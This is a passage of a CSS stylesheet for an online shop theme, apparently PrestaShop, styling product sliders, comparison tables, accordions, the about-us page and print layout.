	background-position:-171px -260px

}

div.checker {

	margin-right:5px

}

.form-control {

	border-radius:0

}

.nbr_page div.selector {

	background-position:89% 12px;

	width:65px !important

}

div.selector.fixedWidth {

	width:190px

}

div.selector.fixedWidth span {

	width:155px

}

div.selector select {

	opacity:0;

	-moz-opacity:0;

	border:none;

	background:none;

	position:absolute;

	height:27px;

	top:0;

	padding:0 20px 0 0;

	left:0;

	width:100%

}

@media screen and (-webkit-min-device-pixel-ratio:0) {

div.selector select {

left:1px !important

}

}

.checker {

	display:-moz-inline-box;

	display:inline-block;

*display:inline;

	vertical-align:middle;

	zoom:1

}

.checker input:focus {

	outline:0

}

div.checker span {

	display:-moz-inline-box;

	display:inline-block;

	text-align:center

}

div.checker input {

	display:inline-block;

	opacity:0;

	margin:0 !important;

	background:none

}

#product div.jGrowl div.jGrowl-notification, #product div.jGrowl div.jGrowl-closer {

	display:none;

	background:url(../images/warning.png) no-repeat 10px 15px #d4eeff;

	opacity:.85;

	margin-top:5px;

	margin-bottom:5px;

	text-align:left;

	padding:10px 10px 6px 45px;

	border:1px solid #34ACF9;

	color:#0473B9;

	font:13px "Arial";

	border-radius:5px

}

#product div.jGrowl div.jGrowl-notification div.close {

	font-size:18px;

	color:#34ACF9;

	margin-top:7px;

	opacity:.99

}

.modal-body {

	overflow-y:auto;

	-webkit-overflow-scrolling:touch;

	max-height:200px

}

@media print {

* {

	background:transparent !important;

	color:black !important;

	box-shadow:none !important;

	text-shadow:none !important

}

a, a:visited {

	text-decoration:underline

}

a[href]:after {

	content:""

}

abbr[title]:after {

	content:""

}

.ir a:after, a[href^="javascript:"]:after, a[href^="#"]:after {

content:""

}

a:link:after, a:visited:after {

	content:""

}

pre, blockquote {

	border:1px solid #999;

	page-break-inside:avoid

}

thead {

	display:table-header-group

}

tr, img {

	page-break-inside:avoid

}

img {

	max-width:100% !important

}

@page {

margin:0.5cm

}

p, h2, h3 {

	orphans:3;

	widows:3

}

h2, h3 {

	page-break-after:avoid

}

.hide-on-print {

	display:none !important

}

.print-only {

	display:block !important

}

.hide-for-print {

	display:none !important

}

.show-for-print {

	display:inherit !important

}

}

.crossselling.page_product_box h3, .tab-video.page_product_box h3 {

	margin-top:10px

}

#carouselproduct {

	width:100000px

}

#carouselproductcross {

	width:100000px

}

.page_product_box .carusel-inner {

	display:block;

	padding:0 0 0 0;

	position:relative;

	margin:0 0 0 -20px

}

.page_product_box .carusel-inner .caroufredsel_wrapper {

	cursor:default !important

}

.page_product_box {

	margin:0

}

.page_product_box.blockproductscategory {

	overflow:hidden

}

.page_product_box .carousel-ul {

	display:block;

	padding:0;

	margin:0;

	width:10000px

}

.page_product_box {

	position:relative

}

.page_product_box .carusel-inner li a {

	display:inline

}

table#cart_summary .cart_product img {

	background:#fff

}

.page_product_box .carusel-inner li a.lnk_img {

	background:#fff;

	display:block

}

.page_product_box .carusel-inner li {

	display:block;

	float:left;

	margin-left:20px;

	height:200px;

	width:146px;

	text-align:center

}

.page_product_box .carusel-inner li .price_display {

	margin:0

}

.page_product_box .carusel-inner .product_link {

	display:inline-block;

	margin:5px 0 0 0

}

.page_product_box a.prev, .page_product_box a.next {

	display:none;

	background:url(../images/slider-arrow.png) no-repeat transparent;

	width:27px;

	height:27px;

	position:absolute;

	top:50%;

	margin-top:-14px;

	opacity:1;

	-moz-transition:opacity 300ms ease, left 300ms ease, right 300ms ease;

	-webkit-transition:opacity 300ms ease, left 300ms ease, right 300ms ease;

	-o-transition:opacity 300ms ease, left 300ms ease, right 300ms ease;

	transition:opacity 300ms ease, left 300ms ease, right 300ms ease

}

.page_product_box .carusel-inner:hover, .page_product_box .carusel-inner img:hover {

	cursor:move;

	cursor:pointer

}

.page_product_box .carusel-inner:hover a.prev {

	opacity:1;

	left:40px

}

.page_product_box .carusel-inner:hover a.next {

	opacity:1;

	right:22px

}

.page_product_box a.prev {

	left:40px;

	background-position:0 0

}

.page_product_box a.prev:hover {

	background-position:0 -27px

}

.page_product_box a.next {

	right:22px;

	background-position:-27px 0

}

.page_product_box a.next:hover {

	background-position:-27px -27px

}

.page_product_box a.next.disabled, .page_product_box a.prev.disabled {

	opacity:0.2

}

.page_product_box a.prev.disabled, .page_product_box a.next.disabled {

	cursor:default

}

#HOOK_SHOPPING_CART .page_product_box > h3 {

	display:block;

	background:#545454;

	background:-moz-linear-gradient(top, #545454 0, #525252 25%, #414141 100%);

	background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #545454), color-stop(25%, #525252), color-stop(100%, #414141));

	background:-webkit-linear-gradient(top, #545454 0, #525252 25%, #414141 100%);

	background:-o-linear-gradient(top, #545454 0, #525252 25%, #414141 100%);

	background:-ms-linear-gradient(top, #545454 0, #525252 25%, #414141 100%);

	background:linear-gradient(to bottom, #545454 0, #525252 25%, #414141 100%);

filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#545454', endColorstr='#414141', GradientType=0 );

	color:#FFFFFF;

	font-size:20px;

	font-weight:normal;

	line-height:1.5;

	margin:0 0 20px;

	padding:9px 50px 9px 20px;

	position:relative

}

#HOOK_SHOPPING_CART .page_product_box > h3.activeTab {

	background:#fa6e00;

	background:-moz-linear-gradient(top, #fa6e00 0, #fa6800 37%, #f95300 100%);

	background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #fa6e00), color-stop(37%, #fa6800), color-stop(100%, #f95300));

	background:-webkit-linear-gradient(top, #fa6e00 0, #fa6800 37%, #f95300 100%);

	background:-o-linear-gradient(top, #fa6e00 0, #fa6800 37%, #f95300 100%);

	background:-ms-linear-gradient(top, #fa6e00 0, #fa6800 37%, #f95300 100%);

	background:linear-gradient(to bottom, #fa6e00 0, #fa6800 37%, #f95300 100%);

filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fa6e00', endColorstr='#f95300', GradientType=0 )

}

#HOOK_SHOPPING_CART .page_product_box.accordion h3 {

	cursor:pointer

}

#HOOK_SHOPPING_CART .page_product_box.accordion h3 .icon-toggle {

	display:block;

	font-size:27px;

	line-height:27px;

	position:absolute;

	right:12px;

	top:10px

}

#HOOK_SHOPPING_CART .page_product_box.accordion h3 i {

	display:inline-block

}

.unvisible.double, .unvisible {

	display:none

}

.presta_table {

	border:1px solid #D9D9D9;

	text-align:left;

	width:100%;

	margin-bottom:10px

}

.presta_table th {

	border:1px solid #D9D9D9;

	padding:5px;

	text-align:center;

	background:#fafafa

}

.presta_table td {

	border:1px solid #D9D9D9;

	padding:10px 5px 10px 12px;

	vertical-align:middle

}

#product_comparison .compare_extra_information {

	width:31%

}

#product_comparison .product-rating .star a {

	display:none

}

#product_comparison .comparison_infos, #product_comparison .feature-name {

	font-size:14px

}

#product_comparison .ajax_block_product {

	position:relative;

	padding:10px

}

#product_comparison .ajax_block_product .img-responsive {

	width:185px;

	height:auto

}

#product_comparison .ajax_block_product .remove {

	font-size:14px;

	position:absolute;

	float:left;

	bottom:0;

	right:0;

	z-index:9;

	padding:5px 10px;

	border-radius:0;

	background:#4DC5F7;

	cursor:pointer

}

#product_comparison .ajax_block_product .remove .fa {

	margin:0

}

#product_comparison .ajax_block_product .remove a {

	color:#fff

}

#product_comparison .ajax_block_product h5 {

	margin:10px 0 12px;

	font-size:16px

}

#product_comparison .ajax_block_product h5 a {

	color:#666;

	transition:0.3s all ease 0s

}

#product_comparison .ajax_block_product .prices-container {

	margin-bottom:10px

}

#product_comparison .ajax_block_product .prices-container .product_discount {

	margin:5px 0 0

}

#product_comparison .ajax_block_product .product_desc {

	margin-bottom:10px;

	font-size:14px

}

#product_comparison .ajax_block_product .comparison_product_infos {

	font-size:14px

}

#product_comparison .ajax_block_product .button-container .button {

	padding:7px 10px;

	transition:0.3s all ease 0s

}

#product_comparison .ajax_block_product .button-container .fa {

	margin:0;

	line-height:16px

}

.mansup-container .middle-side h3 {

	margin-top:50px

}

.mansup-container .product-counter {

	margin-top:50px

}

#order-detail-content .item .price {

	margin:10px

}

#order-detail-content .item .price label {

	margin:0

}

#order-detail-content .item .order_qte_input {

	width:36px;

	text-align:center;

	display:inline-block;

	vertical-align:middle

}

#order-detail-content .item .return_quantity_buttons {

	display:inline-block

}

#order-detail-content .item .return_quantity_buttons a {

	padding:7px 9px

}

#order-detail-content .item .return_quantity_buttons a .fa {

	margin:0;

	display:block

}

#order-detail-content .item .order_qte_span {

	margin-left:5px

}

div.blocksupplier .selector {

	width:100% !important;

	height:32px;

	position:relative;

	background:#fff;

	padding:0

}

div.blocksupplier .selector span {

	padding:0 10px;

	background:#fff;

	color:#404040;

	width:100% !important;

	text-shadow:none;

	position:absolute;

	z-index:-1;

	opacity:0

}

div.blocksupplier .selector select {

	padding:6px;

	width:100%;

	position:absolute;

	opacity:1;

	top:auto;

	left:0 !important;

	height:100%;

	border:solid 1px #e2e2e2;

	box-shadow:none

}

div.blocksupplier .selector:after {

	content:"\f0d7";

	background:#fff;

	color:#8d8d8d;

	text-align:center;

	margin:0;

	position:absolute;

	right:1px;

	top:1px;

	height:30px;

	width:28px;

	pointer-events:none;

	-ms-pointer-events:none;

	-webkit-pointer-events:none;

	font-family:Fontawesome

}

div.blocksupplier .selector#uniform-nb_item {

	width:55px !important;

	display:inline-block;

	margin-right:5px

}

#best-sellers_block_right h4.title_block {

	font-size:18px;

	font-weight:600

}

div.moduletable h3 {

	font-size:18px;

	color:#444;

	font-weight:600;

	text-transform:uppercase;

	position:relative

}

div.moduletable h3 a {

	color:#333333

}

div.moduletable h3 a:hover {

	color:#333333

}

.welcome-msg {

	margin-top:7px

}

.welcome-msg .label-msg {

	margin:0;

	display:inline-block;

	position:relative;

	color:#fff;

	background:#e67e22;

	padding:2px 10px;

	border-radius:2px

}

.welcome-msg a {

	display:inline-block;

	margin:0;

	padding:0 6px;

	color:#333

}

.hot-lilne-wrapper {

	background:url("../images/hot-line-icon.png") no-repeat left center;

	padding-left:48px;

	float:right

}

.hot-lilne-wrapper h2 {

	font-weight:bold;

	margin-bottom:2px;

	font-size:100%;

	margin:0;

	color:#666

}

div.banner-left, div.banner-center {

	margin-bottom:30px;

	overflow:hidden

}

div.banner-left a, div.banner-center a {

	display:block;

	position:relative

}

div.banner-left a img, div.banner-center a img {

	width:100%

}

div.banner-left a:before, div.banner-center a:before {

	content:"";

	position:absolute;

	left:0;

	top:0;

	width:100%;

	height:100%;

	background:#000;

	opacity:0;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=00)";

	transition:0.3s all ease 0s;

	-webkit-transition:0.3s all ease 0s;

	transform:scale(0);

	-webkit-transform:scale(0)

}

div.banner-left a:hover:before, div.banner-center a:hover:before {

	opacity:0.5;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";

	transform:scale(1);

	-webkit-transform:scale(1)

}

div.banner-center {

	margin:0 0 25px

}

div.clients_say {

	display:inline-block;

	width:100%;

	margin-bottom:34px;

	padding-left:18px;

	padding-right:18px;

	border:1px solid #ddd

}

div.clients_say .module-title {

	margin:-5px -19px 0 -19px

}

div.clients_say .block_content {

	padding:17px 0 20px

}

div.clients_say .block_content .text {

	line-height:1.8em;

	font-style:italic

}

div.clients_say .block_content .info {

	overflow:hidden;

	border-top:solid 1px #ddd;

	margin-top:17px;

	padding-top:20px

}

div.clients_say .block_content .info .image {

	float:left;

	margin-right:10px

}

div.clients_say .block_content .info .author {

	font-size:15px;

	font-weight:600;

	margin-top:-3px

}

div.clients_say .owl-controls .owl-nav {

	display:none

}

div.clients_say .owl-controls .owl-dots {

	background-color:#eeeeee;

	margin:0 -18px 0;

	padding:5px 0;

	position:relative;

	text-align:center

}

div.clients_say .owl-controls .owl-dots .owl-dot {

	width:10px;

	height:10px;

	border:1px solid #eeeeee;

	background-color:#bbbbbb;

	margin:0 2px;

	display:inline-block;

	border-radius:50%

}

div.clients_say .owl-controls .owl-dots .owl-dot.active {

	background-color:#999999;

	border:1px solid #fff

}

.fqas {

	display:inline-block;

	width:100%;

	margin-bottom:34px;

	padding-left:18px;

	padding-right:18px;

	border:1px solid #ddd

}

.fqas .module-title {

	margin:-5px -19px 0 -19px

}

.accordion, .accordion * {

	-webkit-box-sizing:border-box;

	-moz-box-sizing:border-box;

	box-sizing:border-box

}

.accordion {

	overflow:hidden;

	margin:0 -18px;

	background:#fff

}

.accordion-section {

	border-bottom:1px solid #ddd

}

.accordion-section:last-child {

	border-bottom:none

}

.accordion-section-title {

	font-size:100%;

	font-weight:bold;

	position:relative;

	line-height:38px;

	padding-left:47px;

	display:inline-block;

	width:100%;

	cursor:pointer

}

.accordion-section-title:before {

	content:"";

	display:inline-block;

	width:17px;

	height:17px;

	position:absolute;

	left:19px;

	top:11px;

	background:url("../images/show-c.png") no-repeat top left #999999

}

.accordion-section-title.active:before {

	background-position:left bottom

}

.accordion-section-title.active, .accordion-section-content.open {

	background:#eeeeee

}

.accordion-section-content {

	padding:0 10px 10px 47px;

	display:none

}

.about-us > .page-heading {

	display:none

}

.about-us .page-heading {

	margin-bottom:25px

}

.about-us .page-heading h1 {

	font-size:24px;

	display:block;

	margin:0;

	text-transform:none

}

.about-us .page-heading h1:after {

	display:block;

	width:70px;

	background:#3ab54a;

	height:3px;

	content:"";

	margin-top:6px

}

.about-us .page-heading:before, .about-us .page-heading:after {

	display:none

}

.about-us .about-content .title {

	background:url(../images/bg_module.png) repeat-x left center;

	padding-bottom:5px;

	margin-bottom:20px

}

.about-us .about-content .title strong {

	color:#333;

	font-size:22px;

	text-transform:capitalize;

	font-weight:500;

	display:inline-block;

	background:#fff;

	padding:0 15px 0 0

}

.about-us .about-content .image {

	float:left;

	width:270px;

	height:187px;

	margin-right:30px

}

.about-us .about-content .text {

	line-height:23px;

	margin-top:6px

}

.about-us .about-content .whychooseus ul {

	margin:-10px 0 0;

	padding:0;

	list-style:none

}

.about-us .about-content .whychooseus ul li {

	padding-left:30px;

	position:relative

}

.about-us .about-content .whychooseus ul li:before {

	content:"\f00c";

	font-family:FontAwesome;

	display:inline-block;

	position:absolute;

	left:0;

	top:8px

}

.about-us .about-content .whychooseus ul li p {

	display:block;

	border-top:dotted 1px #999999;

	margin:0;

	padding:7px 0

}

.about-us .about-content .whychooseus ul li:first-child p {

	border-top:none

}

.about-us .about-content .ourmember.page-heading {

	margin-top:14px

}

.about-us .about-content .ourmember.page-heading .title {

	margin-bottom:0

}

.about-us .about-content .ourmember.page-heading .title strong {

	padding-left:15px

}

.about-us .about-content .ourmember.page-heading .pre-text {

	color:#666;

	padding:0 170px;

	margin-top:5px;

	margin-bottom:30px

}

.about-us .about-content .ourmember.page-heading .info-member {

	text-align:center;

	padding-top:10px

}

.about-us .about-content .ourmember.page-heading .info-member .name {

	margin-bottom:5px

}

.about-us .about-content .ourmember.page-heading .info-member .name a {

	font-size:16px;

	transition:0.3s all ease 0s

}

.about-us .about-content .ourmember.page-heading .info-member .cms-job {

	color:#000;

	font-size:13px;

	margin-bottom:3px;

	font-weight:500

}

.about-us .about-content .ourmember.page-heading .box-img {

	position:relative;

	overflow:hidden;

	cursor:pointer

}

.about-us .about-content .ourmember.page-heading .box-img .cms-social a {

	position:absolute;

	display:inline-block;

	height:25px;

	width:25px;

	background:#fbfbfb;

	text-align:center;

	border-radius:50%;

	margin:0 4px

}

.about-us .about-content .ourmember.page-heading .box-img .cms-social a .fa {

	margin:0;

	line-height:25px;

	color:#ccc9cb;

	transition:0.3s all ease 0s;

	width:25px;

	height:25px;

	border-radius:50%;

	font-size:0

}

.about-us .about-content .ourmember.page-heading .box-img .cms-social a .fa:before {

	font-size:13px

}

.about-us .about-content .ourmember.page-heading .box-img .cms-social a.facebook {

	left:28%;

	bottom:-25px;

	transition:all 0.3s ease 0s

}

.about-us .about-content .ourmember.page-heading .box-img .cms-social a.flickr {

	left:40%;

	bottom:-45px;

	transition:all 0.5s ease 0s

}

.about-us .about-content .ourmember.page-heading .box-img .cms-social a.twitter {

	left:53%;

	bottom:-65px;

	transition:all 0.7s ease 0s

}

.about-us .about-content .ourmember.page-heading .box-img:hover .cms-social a.facebook {

	bottom:20%

}

.about-us .about-content .ourmember.page-heading .box-img:hover .cms-social a.flickr {

	bottom:20%

}

.about-us .about-content .ourmember.page-heading .box-img:hover .cms-social a.twitter {

	bottom:20%

}

.about-us .about-content .happy-about-us {

	clear:both;

	margin-top:45px;

	padding:0

}

.about-us .about-content .customersay {

	border:1px solid #e9e9e9;

	padding:33px 8px 20px

}

.about-us .about-content .customersay .happy-title {

	background:#fff;

	display:inline-block;

	left:20px;

	padding:5px 10px;

	position:absolute;

	top:-19px

}

.about-us .about-content .customersay .happy-title h2 {

	font-size:150%;

	color:#444;

	font-family:inherit;

	font-weight:normal;

	margin:0

}

.about-us .about-content .customersay .item {

	padding:0 10px 0 25px;

	position:relative

}

.about-us .about-content .customersay .item:before {

	content:"";

	background:url(../images/icon_quote.png) no-repeat top left;

	display:inline-block;

	position:absolute;

	width:16px;

	height:12px;

	left:0;

	top:6px

}

.about-us .about-content .customersay .item .content {

	font-size:107.69%;

	color:#909090;

	margin-bottom:10px;

	text-align:justify

}

.about-us .about-content .customersay .item .author {

	text-align:left

}

.about-us .about-content .customersay .item .author strong {

	color:#3ab54a

}

.about-us .owl-nav {

	display:none

}

.about-us .owl-carousel.owl-loaded {

	overflow:hidden

}

.about-us .owl-carousel .owl-stage-outer {

	margin-top:60px

}

.about-us .owl-dots {

	position:absolute;

	top:16px;

	left:47%;

	width:100%

}

.about-us .owl-dots .owl-dot span {

	float:left;

	background:none repeat scroll 0 0 #d7d7d5;

	border-radius:30px;

	display:block;

	height:16px;

	margin:4px 4px;

	transition:opacity 200ms ease 0s;

	width:16px

}

.about-us .owl-carousel {

	margin:0

}

#contact div.page-heading h1 {

	text-transform:capitalize;

	font-weight:normal;

	color:#333333;

	font-size:24px

}

ul.payments li {

	display:inline-block;

	margin:0 4px 0 0

}

ul.payments li a {

	display:block;

	height:24px;

	width:44px;

	background:url(../images/payments.png) no-repeat 0 0;

	color:transparent

}

ul.payments li a.pm2 {

	background-position:-49px 0

}

ul.payments li a.pm3 {

	background-position:-98px 0

}

ul.payments li a.pm4 {

	background-position:-147px 0

}

ul.payments li a.pm5 {

	background-position:-196px 0

}

ul.payments li a:hover {

	color:transparent

}

div.contact {

	border:none;

	overflow:hidden;

	margin:0;

	padding:0

}

div.contact ul li {

	font-size:16px;

	text-transform:uppercase;

	font-weight:600;

	float:left;

	width:50%;

	padding-left:45px;

	position:relative;

	line-height:34px;

	color:#444

}

div.contact ul li:before {

	content:"";

	display:block;

	height:34px;

	width:34px;

	position:absolute;

	left:0;

	top:0

}

div.contact ul li.phone:before {

	background:url(../images/icon_phone.png) no-repeat 0 0

}

div.contact ul li.email:before {

	background:url(../images/icon_email.png) no-repeat 0 0

}

.blogModule .block_content {

	padding-top:10px

}

.post-cate {

	margin-bottom:20px;
	float: left;
	 padding-left: 15px;

}

.post-cate h1 {

	margin:0;

	text-transform:uppercase;

	line-height:100%;

	margin-top:-5px

}

.account_creation .select_date.first {

	margin-left:-15px

}

div.sp-cat-tab {

	margin-bottom:30px

}

div.sp-cat-tab .spct-tab-inner {

	border:none !important;

	margin-right:1px;

	cursor:pointer

}

div.sp-cat-tab .spct-tab-inner:hover, div.sp-cat-tab .spct-tab-inner.sel {

	background-color:#fff

}

div.sp-cat-tab .spct-tab-inner:hover .spct-tab-item img, div.sp-cat-tab .spct-tab-inner.sel .spct-tab-item img {

	bottom:0;

	top:auto

}

div.sp-cat-tab .spct-tab-inner .spct-tab-item {

	border:none

}

div.sp-cat-tab .spct-tab-inner.sel:first-child {

	border-left:solid 1px #e3e1e1 !important

}

div.sp-cat-tab .spct-tab-inner.sel:last-child {

	border-right:solid 1px #e3e1e1 !important

}

div.sp-cat-tab .spct-tab-inner:first-child {

	border-radius:2px 0 0 0

}

div.sp-cat-tab .spct-tab-inner:first-child:hover {

	border-left:solid 1px #e3e1e1 !important

}

div.sp-cat-tab .spct-tab-inner:last-child {

	border-radius:0 2px 0 0

}

div.sp-cat-tab .spct-tab-inner:last-child:hover {

	border-right:solid 1px #e3e1e1 !important

}

div.sp-cat-tab .spct-content-container {

	border:solid 1px #e3e1e1;

	border-radius:0 2px 2px 2px

}

div.sp-cat-tab .spct-tab-inner .spct-tab-item {

	width:50px;

	height:40px;

	line-height:40px;

	text-align:center;

	position:relative

}

div.sp-cat-tab .spct-tab-inner .spct-tab-item img {

	width:auto;

	height:auto;

	position:absolute;

	top:0;

	left:0

}

div.sp-cat-tab .spct-tab-inner:hover {

	opacity:1

}

div.sp-cat-tab .spct-content .spct-product-item .item-title {

	font-size:16px

}

div.sp-cat-tab .spct-content .spct-product-item .item-title a {

	font-weight:normal;

	color:#444

}

div.sp-cat-tab .item-price .price.product-price {

	font-size:16px

}

div.newarrival_products {

	margin-bottom:-70px

}

h2.page-title-slider {

	font-size:18px;

	color:#444;

	margin:0 0 15px;

	font-weight:600;

	width:100%;

	border-bottom:solid 1px #ddd;

	padding-bottom:10px

}

div.sp-slider .page-button.top .control-button .preview, div.sp-slider .page-button.top .control-button .next {

	bottom:25px

}

div.pretext-slider {

	margin:0 0 20px

}

div.sp-slider {

	margin-bottom:30px

}

div.sp-slider .compare-form {

	display:none

}

div.sp-slider .slider {

	margin:0 -9px 0 -6px;

	z-index:auto

}

div.sp-slider .slider .vpo-wrap {

	padding-top:5px

}

div.sp-slider .slider .vpo-wrap .vp {

	overflow:visible;

	height:435px !important

}

div.sp-slider .slider .vpo-wrap .vp .item {

	overflow:visible;

	position:relative

}

div.sp-slider .slider .vpo-wrap .vp .item h5 {

	font-size:16px;

	margin:0 0 5px;

	color:#444

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container {

	position:relative;

	z-index:1;

	overflow:hidden;

	padding:10px

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .new-box {

	top:20px;

	right:20px;

	left:auto

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .sale-box {

	left:20px;

	top:20px;

	right:auto

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .product_img_link {

	position:relative;

	z-index:1;

	display:block;

	overflow:hidden

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .img_0 {

	position:absolute;

	z-index:8;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s;

	top:0;

	left:0;

	opacity:0;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=00)"

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .img_1 {

	position:relative;

	z-index:5;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .quick-view-wrapper-mobile {

	width:100%;

	left:0;

	position:absolute;

	text-align:center;

	top:-45%;

	z-index:9;

	-webkit-transition:all 0.3s ease 0s;

	transition:all 0.3s ease 0s

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .quick-view-mobile {

	background:url(../images/icon_quickview.png) no-repeat 18px center #999999;

	border-radius:3px;

	padding:0 20px 0 36px;

	height:36px;

	line-height:34px;

	text-transform:uppercase;

	color:#fff;

	display:inline-block

}

div.sp-slider .slider .vpo-wrap .vp .item .content_price {

	margin-bottom:5px

}

div.sp-slider .slider .vpo-wrap .vp .item .content_price .price {

	font-weight:500;

	font-size:18px

}

div.sp-slider .slider .vpo-wrap .vp .item .content_price .old-price {

	color:#909090;

	font-size:16px;

	display:inline-block;

	vertical-align:middle;

	text-decoration:line-through;

	margin:0

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container {

	display:inline-block;

	-webkit-transition:all 0.3s ease 0s;

	transition:all 0.3s ease 0s;

	margin:10px 0

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container .cart_button {

	display:inline-block;

	height:36px;

	background-color:#999;

	transition:0.3s all ease 0s;

	font-size:14px;

	text-transform:uppercase;

	padding:0 15px 0 35px;

	background:url(../images/icon_cart.png) no-repeat 12px center #999999;

	line-height:34px;

	border-radius:3px;

	margin:0 8px

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container > div {

	display:inline-block;

	padding:0;

	margin:0;

	cursor:pointer;

	vertical-align:middle

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container > div a {

	display:block;

	height:36px;

	width:36px;

	background-color:#999;

	background-position:center center;

	background-repeat:no-repeat;

	transition:0.3s all ease 0s;

	border-radius:3px

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container > div a.addToWishlist {

	background-image:url(../images/icon_wishlist.png)

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container > div a.add_to_compare {

	background-image:url(../images/icon_compare.png)

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container > div a.lnk_view {

	background-image:url(../images/icon_link.png)

}

div.sp-slider .slider .vpo-wrap .vp .item .color-list-container {

	padding:3px 3px 0;

	background:#e6e6e6;

	display:inline-block

}

div.sp-slider .slider .vpo-wrap .vp .item .color-list-container .color_to_pick_list li {

	display:inline-block

}

div.sp-slider .slider .vpo-wrap .vp .item .color-list-container .color_to_pick_list li a {

	display:block;

	width:16px;

	height:16px

}

div.sp-slider .slider .vpo-wrap .vp .item .availability {

	display:inline-block;

	margin:0 0 0 20px;

	text-transform:capitalize

}

div.sp-slider .slider .vpo-wrap .vp .item .availability .available-now {

	vertical-align:middle;

	width:48px;

	height:48px;

	background:url(../images/instock.png) no-repeat 0 0;

	text-indent:-100%;

	overflow:hidden;

	display:inline-block

}

div.sp-slider .slider .vpo-wrap .vp .item .comments_note {

	margin:0;

	overflow:hidden

}

div.sp-slider .slider .vpo-wrap .vp .item .comments_note .star_content {

	display:inline-block;

	vertical-align:top

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap:nth-child(2) {

visibility:visible

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap .item-info {

	padding:0;

	overflow:hidden;

	padding:0 10px 10px;

	text-align:center;

	margin:0

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .info .item-title {

	text-transform:none;

	color:#444;

	font-size:15px

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap {

	position:relative;

	border:solid 1px #ddd;

	z-index:1;

	background:#fff

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap:hover .img_0 {

	opacity:1;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap:hover .quick-view-wrapper-mobile {

	top:45%

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap.full {

	z-index:-1;

	top:0;

	left:0;

	position:absolute;

	box-shadow:0 0 3px #ddd;

	width:100%;

	opacity:0

}

div.sp-slider .slider .vpo-wrap .vp .item:hover .item-wrap {

	z-index:-1

}

div.sp-slider .slider .vpo-wrap .vp .item:hover .item-wrap.full {

	z-index:10;

	opacity:1

}

div.sp-slider .page-button.top .control-button, div.sp-slider .page-button.bottom .control-button, div.sp-slider .page-button.middle .control-button {

	text-indent:0

}

div.sp-slider .page-button.top .control-button a, div.sp-slider .page-button.bottom .control-button a, div.sp-slider .page-button.middle .control-button a {

	background:#999;

	height:25px;

	width:25px;

	text-align:center;

	opacity:1;

	transition:0.3s all ease 0s;

	border-radius:2px

}

div.sp-slider .page-button.top .control-button a .fa, div.sp-slider .page-button.bottom .control-button a .fa, div.sp-slider .page-button.middle .control-button a .fa {

	color:#fff;

	line-height:23px;

	margin:0;

	display:block;

	font-size:16px

}

div.sp-slider .page-button.top .control-button a.preview, div.sp-slider .page-button.bottom .control-button a.preview, div.sp-slider .page-button.middle .control-button a.preview {

	right:30px

}

div.sp-slider .page-button.top .control-button a:hover .fa, div.sp-slider .page-button.bottom .control-button a:hover .fa, div.sp-slider .page-button.middle .control-button a:hover .fa {

	color:#fff

}

div.best-seller {

	border:solid 1px #e3e1e1;

	border-radius:2px;

	margin-bottom:30px

}

div.best-seller h2.page-title-slider {

	margin:0;

	padding:15px

}

div.best-seller div.sp-slider {

	margin:0

}

div.best-seller div.sp-slider .slider {

	margin:0

}

div.best-seller div.sp-slider .slider .vpo-wrap .vp .item .item-wrap {

	border:none

}

div.best-seller div.sp-slider .page-button.top .control-button a, div.best-seller div.sp-slider .page-button.bottom .control-button a, div.best-seller div.sp-slider .page-button.middle .control-button a {

	border-radius:0;

	border:none;

	background:transparent;

	height:37px;

	top:33%

}

div.best-seller div.sp-slider .page-button.top .control-button a .fa, div.best-seller div.sp-slider .page-button.bottom .control-button a .fa, div.best-seller div.sp-slider .page-button.middle .control-button a .fa {

	font-size:60px;

	line-height:35px

}

.sp-manu-slider {

	display:inline-block;

	width:100%;

	margin-bottom:34px;

	padding-left:18px;

	padding-right:18px;

	border:1px solid #ddd;

	border-bottom:0

}

.sp-manu-slider .module-title {

	margin:-5px -19px 0 -19px

}

.sp-manu-slider .module-title a.view-all-brand {

	display:inline-block;

	float:right;

	margin:11px 11px 0 0;

	font-size:13px

}

.sp-manu-slider .module-title a.view-all-brand:after {

	content:"\f0da";

	font-family:FontAwesome;

	font-size:12px;

	margin-left:5px

}

.sp-manu-slider .not-js .vpo-wrap {

	padding:20px 0 0;

	float:left

}

.sp-manu-slider .not-js .vpo-wrap .vp {

	margin:-20px -19px -21px -18px

}

.sp-manu-slider .not-js .vpo-wrap .vp .item {

	float:left;

	width:50%;

	border-bottom:1px solid #ddd;

	border-right:1px solid #ddd

}

.sp-manu-slider .not-js .vpo-wrap .vp .item img:hover {

	opacity:0.5

}

.module-title {

	border-bottom:3px solid;

	margin-top:-5px;

	position:relative

}

.module-title h3 {

	margin:0;

	padding:0

}

.module-title h3 strong, .module-title h3 span {

	display:inline-block;

	font-size:16px;

	font-weight:bold;

	color:#fff;

	padding:0 18px;

	text-transform:uppercase;

